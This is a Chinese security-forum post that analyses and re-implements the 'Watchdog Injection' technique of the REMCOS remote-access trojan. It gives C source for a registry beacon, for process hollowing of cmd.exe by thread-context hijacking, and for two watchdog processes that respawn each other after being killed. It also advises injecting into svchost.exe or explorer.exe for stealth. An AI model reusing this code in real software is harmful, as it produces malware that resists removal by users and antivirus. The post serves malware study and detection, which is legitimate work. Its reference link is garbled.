-
-
[原创]“看门狗注入”(Watchdog Injection) 技术分析
-
发表于: 2026-3-5 23:03 929
-
1. 引言
最近看到一款远控木马REMCOS 的分析文章,提到该木马采用了一种被称作“看门狗注入”(Watchdog Injection)的技术。这项技术结合了进程注入(Process Injection)与看门狗(Watchdog)守护功能,目的是确保恶意软件即使被用户或杀毒软件终止,也能立即自动重启,并且将恶意代码注入到合法的系统进程中。(这里采用的技术不是很复杂,只是有一点小巧思在里面)
(“Watchdog 看门狗”这种叫法我觉得很别扭,但写分析文章的安全公司 Elastic 采用了这种叫法,就按这个说法来吧。大概因为 Watchdog是嵌入式系统中用于监控系统状态的硬件计时器,是用来监控、自动重启的保护机制,Elastic 借用了这个词来描述这种攻击方式 )
以下是对这项技术的分析与复现
编译环境:VS 2019 (编译生成的测试程序为 WatchdogInjection.exe )
测试环境:Windows 10
2. 攻击流程
“看门狗注入”利用进程镂空(Process Hollowing)和“双向守护”机制,实现恶意软件的“无限复活”。
- 恶意程序在首次启动时,判定自身为主进程;它在注册表留下信标,随后将自身代码镂空注入到合法进程(如cmd.exe)中,形成守护进程,并启动子线程反向监控该守护进程;若守护进程被杀,主进程的监控线程会重新创建新的守护进程;
- 守护进程运行时会删除信标,获取主进程句柄并阻塞等待;若主进程被杀,守护进程立即复活主进程;
这使恶意软件极难被单点清除,实现持续驻留。
2.1 感知身份
WatchdogInjection.exe 在运行时要立刻判断自己是主进程,还是被注入到cmd.exe 的守护进程
以下是代码的实现逻辑:
- 如果没有找到注册表的信标(主进程运行时会设置信标,即注册表键值,守护进程运行后会删除信标),就说明是主进程 WatchdogInjection.exe 在运行;
- 如果找到了,就说明是被注入了cmd.exe 进程空间的 WatchdogInjection.exe 在运行,即守护进程;守护进程运行后,读取到了注册表信标,立刻删除注册表键值;防止后续主进程 WatchdogInjection.exe 再次复活时引起逻辑错乱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | DWORD GetAndConsumeBeacon(char* outPath, DWORD pathSize) { HKEY hKey; DWORD pid = 0; DWORD pidSize = sizeof(DWORD); if (RegOpenKeyExA(HKEY_CURRENT_USER, REG_PATH, 0, KEY_READ | KEY_WRITE, &hKey) == ERROR_SUCCESS) { // 读取 PID 和 路径 if (RegQueryValueExA(hKey, "MainPID", NULL, NULL, (LPBYTE)&pid, &pidSize) == ERROR_SUCCESS) { RegQueryValueExA(hKey, "MainPath", NULL, NULL, (LPBYTE)outPath, &pathSize); // 读取完毕后立即删除键值,表明守护进程已就位! RegDeleteValueA(hKey, "MainPID"); RegDeleteValueA(hKey, "MainPath"); } RegCloseKey(hKey); } return pid;} |
感知身份后就可以选择进入哪一个分支了
- 没有找到信标:主进程
- 找到信标:守护进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | int main() { char mainPath[MAX_PATH] = { 0 }; // 启动时第一件事:感知自身身份 DWORD mainPID = GetAndConsumeBeacon(mainPath, MAX_PATH); if (mainPID == 0) { // 没找到信标,说明是主进程 Role_MainProcess(); } else { // 找到了信标,说明是被进程镂空进来的守护进程! Role_WatchdogProcess(mainPID, mainPath); } return 0;} |
2.2 设置注册表信标
主进程 WatchdogInjection.exe 运行后,将自身的 PID 和文件路径写进注册表,这两个注册表键值就是前文说的信标
1 2 3 4 5 6 7 | void SetBeacon(DWORD pid, const char* exePath) { HKEY hKey; RegCreateKeyExA(HKEY_CURRENT_USER, REG_PATH, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); RegSetValueExA(hKey, "MainPID", 0, REG_DWORD, (const BYTE*)&pid, sizeof(DWORD)); RegSetValueExA(hKey, "MainPath", 0, REG_SZ, (const BYTE*)exePath, (DWORD)strlen(exePath) + 1); RegCloseKey(hKey);} |

2.3 主进程
除了设置信标和感知身份外,主进程最主要的任务是将自身通过进程镂空技术注入到正常的系统进程中,然后创建线程监控被注入的系统进程是否正常运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | void Role_MainProcess() { GetModuleFileNameA(NULL, g_myPath, MAX_PATH); DWORD myPID = GetCurrentProcessId(); printf("[Main] I am the Main Process! PID: %d\n", myPID); // 1. 设置信标 SetBeacon(myPID, g_myPath); // 2. 进程镂空自身,创建守护进程,并拿到它的句柄 HANDLE hWatchdog = HollowAndInjectSelf(g_myPath); if (hWatchdog) { printf("[Main] Watchdog deployed! Starting monitor thread...\n"); // 3. 开启反向监控线程 CreateThread(NULL, 0, WatchdogMonitorThread, hWatchdog, 0, NULL); } // 4. 执行核心恶意逻辑 while (1) { Sleep(3000); printf("[Main PID: %d] Doing bad things...\n", myPID); }} |
2.3.1 进程镂空(Process Hollowing)
主进程WatchdogInjection.exe 一旦开始运行,就通过进程镂空将自身注入到 cmd.exe 进程中,以下是主要步骤:
- 以挂起状态创建一个正常的系统进程,例如cmd.exe,cmd.exe 的主线程会被操作系统立刻“冻结”(挂起),不会执行任何原始代码
1 | CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi) |
- 获取目标进程的 PEB(进程环境块),找到 cmd.exe 的加载基址(ImageBase);调用底层的系统 API(通常是 NtUnmapViewOfSection 或 ZwUnmapViewOfSection),将原始合法的可执行文件从内存中强行卸载掉。此时,cmd.exe 进程内部就变成了一个“空壳”
1 2 3 4 5 6 7 8 9 10 | //获取进程 cmd.exe 的 PEBpNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);ReadProcessMemory(pi.hProcess, (PVOID)((uintptr_t)pbi.PebBaseAddress + 0x10), &remoteImageBase, sizeof(LPVOID), NULL);//函数NtUnmapViewOfSection用于取消一个进程虚拟地址空间中某个内存区块(Section)的映射;由于NtUnmapViewOfSection是未公开的底层 Native API,使用时需要通过 GetProcAddress 从 ntdll.dll 获取函数地址NTSTATUS NtUnmapViewOfSection( HANDLE ProcessHandle, // 目标进程的句柄 PVOID BaseAddress // 要取消映射的视图起始虚拟地址); |
- 申请新内存,写入恶意载荷;恶意载荷通常是可执行的 PE 文件,这个时候需要注意修复重定位表、更正 PE 文件的ImageBase 等
- 劫持线程上下文,主要是通过用 GetThreadContext 获取挂起线程的寄存器状态;修改关键寄存器(如 32 位下的 EAX 或 EIP,64 位下的 RCX 或 RIP),使其指向恶意代码的新入口点(Entry Point),然后调用 SetThreadContext 保存修改
1 2 3 4 5 6 7 8 | CONTEXT context;context.ContextFlags = CONTEXT_FULL;GetThreadContext(pi.hThread, &context);PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(pRawData + ((PIMAGE_DOS_HEADER)pRawData)->e_lfanew);context.Rcx = (DWORD64)newRemoteBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;SetThreadContext(pi.hThread, &context);free(pRawData);ResumeThread(pi.hThread |
- 调用 ResumeThread 唤醒被挂起的主线程;操作系统开始执行线程,但此时线程执行的已经是恶意代码的指令
详细的实现代码,网上有很多资料了,这里就不多介绍了。

2.3.2 监控被注入的进程是否存活
在创建 cmd.exe 进程后,需要把进程句柄返回给主进程,让主进程可以监控它。主进程用这个线程死死盯着 cmd.exe,如果 cmd.exe 被干掉,主进程就再创建一个同样的进程并再次注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | //主进程的“反向监控线程”DWORD WINAPI WatchdogMonitorThread(LPVOID lpParam) { HANDLE hWatchdog = (HANDLE)lpParam; while (1) { // 1. 死死盯住守护进程 (cmd.exe) WaitForSingleObject(hWatchdog, INFINITE); CloseHandle(hWatchdog); printf("[Main] Warning: Watchdog (cmd.exe) was killed! Respawning...\n"); // 2. 守护进程死了,主进程再次种下信标 SetBeacon(GetCurrentProcessId(), g_myPath); // 3. 重新镂空注入,拉起一个新的守护进程 hWatchdog = HollowAndInjectSelf(g_myPath); if (hWatchdog) { printf("[Main] Watchdog resurrected successfully!\n"); } else { printf("[-] Failed to resurrect Watchdog.\n"); break; } } return 0;} |

2.4 守护进程
在主进程将自身注入到 cmd.exe 进程中后,守护进程就开始运行了,它什么都不干,就死死盯着主进程的 PID。一旦主进程被杀掉,WaitForSingleObject 瞬间放行,守护进程立刻将本体“复活”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | void Role_WatchdogProcess(DWORD targetPID, const char* targetPath) { // 隐藏由于 cmd.exe 镂空可能带出的黑框框 FreeConsole(); // 打开主进程句柄 (SYNCHRONIZE 用于等待,PROCESS_QUERY_INFORMATION 用于查状态) HANDLE hMainProcess = OpenProcess(SYNCHRONIZE | PROCESS_QUERY_INFORMATION, FALSE, targetPID); if (hMainProcess == NULL) { return; // 主进程已不存在,直接退出 } // 死死盯住主进程 WaitForSingleObject(hMainProcess, INFINITE); // 如果代码执行到这里,说明主进程被杀死了! CloseHandle(hMainProcess); // 触发复活机制 (Resurrection) STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA(targetPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); // 复活后,当前守护进程使命完成,退出(新启动的主进程会再产生一个新的守护进程) ExitProcess(0);} |
关键在于,当一个进程调用 ExitProcess 或被杀掉时,它只是停止了运行。但是,只要有其他进程(比如守护进程)持有该进程的句柄(Handle),或者系统尚未清理该内核对象,这个进程的内核对象(EPROCESS)在内核中依然是存在的。
3. 运行效果
主进程 WatchdogInjection.exe 启动后,将 PID 自身的文件路径写入了注册表 Software\DemoWatchdog\MainPath

作为父进程,创建并启动 cmd.exe;为了避免引起注意、悄无声息地注入,可以调用函数 FreeConsole() 隐藏 cmd.exe 的窗口。实际上,为了更隐蔽,攻击者通常会选择注入 svchost.exe 或 explorer.exe。
查看cmd.exe 的进程转储文件,可以看到 cmd 已经被 WatchdogInjection.exe 注入
结束被注入的 cmd.exe 进程(守护进程)后,又被立刻拉起
结束主进程后,主进程也被立马拉起,并重新部署了守护进程

4. 参考链接
c76K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8U0p5%4f1p5g2i4L8e0c8f1f1i4m8T1M7%4u0J5g2q4f1&6j5W2k6e0M7p5p5`.
Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Two — Elastic Security Labs